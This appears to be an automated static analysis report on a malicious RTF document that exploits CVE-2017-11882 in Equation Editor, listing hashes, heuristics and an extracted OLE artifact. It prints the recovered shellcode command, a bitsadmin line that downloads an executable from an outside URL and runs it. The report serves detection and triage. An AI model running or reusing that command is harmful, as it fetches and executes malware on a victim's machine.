Malicious RTF — malware analysis report

Static analysis result for SHA-256 53db2c7ba5d6dc35…

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2019-05-16
MD5: da2f9085e41ed5421a1993a147627205 SHA-1: 74757a53b82e46bc899fdf4e3e3f3b86b8cb0a47 SHA-256: 53db2c7ba5d6dc35654ae27936640dc2a56bbe182f8dfe80d4816e17e6dff4bc
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that exploits the CVE-2017-11882 vulnerability in Equation Editor. This exploit is designed to execute a second-stage payload, indicated by the extracted URL pointing to 'ntflx.exe'. The file's structure and heuristic firings strongly suggest an exploit delivery mechanism.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hans12345.5gbfree.com/ntflx.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000036b.bin rtf-objdata-decoded RTF \objdata at offset 0x36B 3546 bytes
SHA-256: 9be120a7d85ba95e84ba34f8b081955c427ffe9c9227daf2e2720abd167404a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://hans12345.5gbfree.com/ntflx.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://hans12345.5gbfree.com/ntflx.exe %temp%\Ci.Exe&%temp%\Ci.Exe

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